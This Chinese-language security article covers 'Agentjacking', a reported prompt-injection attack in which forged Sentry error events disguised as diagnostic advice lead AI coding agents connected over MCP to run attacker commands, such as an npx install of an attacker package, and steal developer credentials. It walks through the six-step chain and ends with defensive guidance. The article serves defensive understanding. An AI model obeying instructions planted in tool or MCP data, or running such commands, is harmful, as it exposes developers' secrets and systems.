2026 年 6 月，安全公司 Tenet Security 披露了一种名为 Agentjacking 的新型攻击：攻击者无需钓鱼邮件、无需服务器入侵、无需接触目标机器，仅凭一个公开可见的 Sentry DSN（Data Source Name），即可让 Claude Code、Cursor、Codex 等主流 AI 编码 Agent 执行任意代码——以开发者自己的完整权限。
Tenet 在受控测试中以超过 100 个真实目标验证了攻击链，漏洞利用成功率达 85%，并扫描到至少 2,388 家组织的 Sentry DSN 可被注入。Sentry 在 6 月 3 日收到披露后承认该问题，但表示「技术上无法从根本上防御」，仅部署了一个针对特定 payload 字符串的内容过滤器。
这不是又一个安全漏洞通报。Agentjacking 揭示了一个结构性缺陷：当 AI Agent 通过 MCP（Model Context Protocol）连接外部服务并自动执行操作时，任何流入这些服务的外部数据——哪怕来自组织信任边界之外——都可能成为代码执行的入口。
攻击链：六步完成劫持
Agentjacking 的每个步骤都是合法操作，这也是传统安全工具集体失灵的原因。Tenet 将这一特性称为「授权意图链」（Authorized Intent Chain）。
第一步：发现 DSN。 攻击者获取目标组织的 Sentry DSN。DSN 按设计必须嵌入前端 JavaScript 和移动应用二进制文件中——Sentry 官方文档将其标记为「可安全公开」的写入凭据。Tenet 在 Tranco 前百万网站中发现 71 个可注入 DSN，通过 Censys 等扫描服务在全网识别到至少 2,388 个暴露组织。
第二步：注入恶意事件。 攻击者使用 HTTP POST 请求向 Sentry 的 ingest 端点提交伪造的错误事件。Sentry 的 ingest API 对任何持有 DSN 的人开放，无需额外认证。事件的所有字段——错误信息、堆栈跟踪、标签、上下文——均由攻击者完全控制。
第三步：伪装为系统诊断。 攻击者在事件的 message 字段和 context key 中嵌入精心构造的 Markdown——标题、代码块和结构化文本，在 Sentry MCP 服务器返回时，视觉和语法上均与 Sentry 系统模板的合法诊断建议完全一致。
第四步：开发者触发查询。 开发者要求 AI 编码 Agent「修复未解决的 Sentry 问题」。Agent 通过 MCP 查询 Sentry，收到注入的恶意事件。MCP 响应中没有任何信号表明该事件的内容来自攻击者而非应用运行时。
第五步：Agent 执行恶意代码。 Agent 将注入的 Markdown 当作权威诊断指导，执行攻击者的指令——例如 npx @attacker-controlled-package --diagnose——以开发者的完整系统权限运行。
第六步：凭据窃取。 Tenet 的概念验证 payload 从受感染的开发机器中提取了环境变量、AWS 凭据、GitHub 和 GitLab OAuth 令牌、npm 注册表令牌、Docker 配置凭据、Kubernetes 集群令牌和 CI/CD 管道密钥。受害组织范围涵盖六大洲，从财富 500 强到个人开发者。
为什么安全工具集体失明
Agentjacking 对传统安全工具的绕过不是巧合，而是结构性的。
EDR 观察到的是一个受信进程（AI 编码 Agent）代表开发者执行合法的包管理命令——没有恶意二进制文件落地、没有进程注入。WAF 只看到来自开发者工作站的出站请求，与常规开发活动无异。IAM 策略确认所有操作均使用开发者自己的授权凭据。网络控制器看到通往 npm 注册表和攻击者基础设施的流量，均符合正常开发模式。
「攻击者从未接触受害者的基础设施，」Tenet 研究人员解释道，「恶意指令伪装成一条普通错误中的合法『解决方案』。当开发者要求 AI Agent 修复 Sentry 问题时，Agent 将攻击者的命令当作可信指导来读取并执行——使用开发者自己的权限，在开发者自己的机器上。」
攻击成功的核心原因在于：Agent 执行了授权操作。EDR、WAF、IAM、VPN、Cloudflare 和防火墙全部失效，因为链中没有需要检测的恶意行为——每一步都是被授权的。
Sentry 的回应与责任归属难题
Sentry 在 6 月 3 日收到披露当天即确认了问题，但拒绝进行根因修复，理由是「技术上无法防御」。公司随后部署了针对已知 payload 字符串的全局内容过滤器——这是一种反应性措施，只封堵了特定字符串，并未解决使注入成为可能的架构路径。
真正修复需要在两个方向中选择：限制事件摄取仅接受认证过的组织来源，或在事件数据通过 MCP 服务器返回前实施内容清洗。Sentry 认为两者均不可行。
这一回应凸显了 AI Agent 生态中一个新兴的问责缺口：MCP 集成创造了一种新型信任委托——部署 AI 编码 Agent 的组织默认假设每个 MCP 连接平台的内容完整性标准等同于组织自身对 Agent 直接指令的标准。Sentry 的立场明确表明这一假设不成立，平台供应商可能不将 AI Agent 行为视为自身安全范围。
MCP 生态的连锁脆弱面
Agentjacking 并非孤立事件。它是 2025-2026 年间安全研究者持续记录的 MCP 安全危机的最新实证。
Palo Alto Networks 的 Unit 42 在此前的研究中通过 MCP 的 sampling 机制识别了多个攻击向量，包括隐蔽工具调用——恶意服务器将隐藏指令附加到合法提示中以触发未授权文件操作——以及会话劫持，注入的指令在 Agent 会话间持续存在。Elastic Security Labs 发现 43% 的已测试 MCP 服务器实现存在命令注入漏洞，并识别出「rug-pull 重定义」——工具行为在初次批准后静默变更——作为对 Agent 完整性的系统性威胁。
OWASP 在其 2026 年 Agentic Application Top 10 中将此类攻击形式归类为 ASI01: Agent Goal Hijack（Agent 目标劫持），并将其确定为十大 AI Agent 威胁类别之一。
Agentjacking 的独特贡献在于：它证明了 MCP 注入面不仅限于 MCP 服务器软件本身，而是延伸到每个 MCP 服务器暴露的数据源——包括从组织信任边界之外接收输入的数据源。Sentry 并非因为自身产品缺陷而特殊脆弱；它代表了一整类风险：问题追踪器、工单系统、客服队列、代码审查平台、日志聚合服务——任何 MCP 连接的服务，只要最终用户或外部方可贡献内容，且 Agent 后续会将这些内容作为指导来处理。
2026 年 3 月的一项研究进一步发现，所有测试的编码 Agent（包括 Claude Code、GitHub Copilot 和 Cursor）均易受 prompt injection 攻击，自适应攻击成功率超过 85%——这一数字与 Agentjacking 的测试结果高度吻合，表明 Agent 处理外部输入的信任模型存在系统性缺陷。
防御：从「检测恶意」到「限制授权」
Agentjacking 无法通过传统的恶意检测范式来防御，因为攻击中没有恶意可言。防御策略需要从「检测恶意行为」转向「限制授权范围」。
立即行动： 安全团队应审计开发环境中所有与 AI 编码 Agent 连接的 MCP 服务器，识别任何暴露外部或用户控制数据源的集成。对于 Sentry MCP 集成，如果不必要应立即禁用；如果必须保留，应将 Agent 配置为在执行源自 MCP 内容的任何命令或安装任何包之前要求显式人工确认。同时应进行 DSN 暴露审计：出现在公共 JavaScript、GitHub 仓库或外部扫描索引中的 DSN 应轮换，并考虑通过服务端中继代理客户端 Sentry 上报，从浏览器代码中消除 DSN 的直接暴露。
短期缓解： Agent 应在最小权限环境中运行——隔离容器或沙箱，限制文件系统访问、环境变量可见性和网络出口。密钥管理应确保云凭据、CI/CD 令牌和注册表凭据使用短期限定作用域的密钥，而非开发环境变量中的长期令牌。拥有访问外部内容 MCP 服务器的 Agent 应关闭自主代码执行模式，要求每次包安装或 shell 命令执行前进行确认。
Tenet 在 6 月 18 日发布了名为 Agent-JackStop 的开源缓解工具，针对 Sentry MCP 场景提供了特定检测和阻断能力——但研究者同时指出，更广泛的架构问题在当前 MCP 协议层面难以完全解决。
长期方向： 大多数企业尚未制定管理 AI Agent 可查询哪些数据源、在何种条件下、以及需要何种内容处理要求的明确策略。制定此类策略——类似于管理人类访问敏感系统的数据分类框架——是基础性战略步骤。安全团队应将 prompt injection 和工具投毒场景纳入 Agentic AI 的常规红队测试，Cloud Security Alliance 的 MAESTRO 威胁建模框架和 AI Controls Matrix 提供了可直接映射的治理结构。
Agentjacking 标志着 AI Agent 安全的「SQL 注入时刻」。正如 SQL 注入迫使整个行业重新思考输入验证，Agentjacking 将迫使行业重新思考：当 Agent 能够执行代码、访问文件系统、操作 Git 仓库时，任何进入其「感知范围」的不可信数据都是潜在的远程代码执行。在 Agent 获得更多权限之前，限制其信任范围是唯一可行的防线。
